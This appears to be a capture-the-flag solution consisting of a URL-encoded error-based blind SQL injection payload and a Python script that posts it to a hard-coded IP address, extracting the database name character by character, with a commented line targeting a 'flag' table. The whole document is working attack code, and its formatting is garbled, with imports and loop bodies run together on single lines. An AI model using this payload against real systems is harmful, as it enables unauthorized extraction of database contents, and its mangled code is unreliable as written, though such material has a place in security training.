class=case%0awhen%0a(2)in(1)%0athen%0aexp(1000)else%0a1%0aend&limit=4

from urllib.parse import urlencodefrom urllib.parse import unquoteimport requests
burp0_url = "http://123.60.32.152:80/"burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}all_str = "0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\\'()*+,-./:;<=>[email protected][\\]^_`{|}~"
flag = ''for leng in range(1,50):for char in all_str:    payload = "case%0awhen%0amid(database()from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])#payload = "case%0awhen%0amid((select%0aflag%0afrom%0aflag)from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])    burp0_data = {"class": unquote(payload), "limit": "4"}    resp = requests.post(burp0_url, headers=burp0_headers, data=urlencode(burp0_data))if 'error' in resp.text:      flag += charprint(flag)else:continue# print(resp.text)# print(resp.request.body)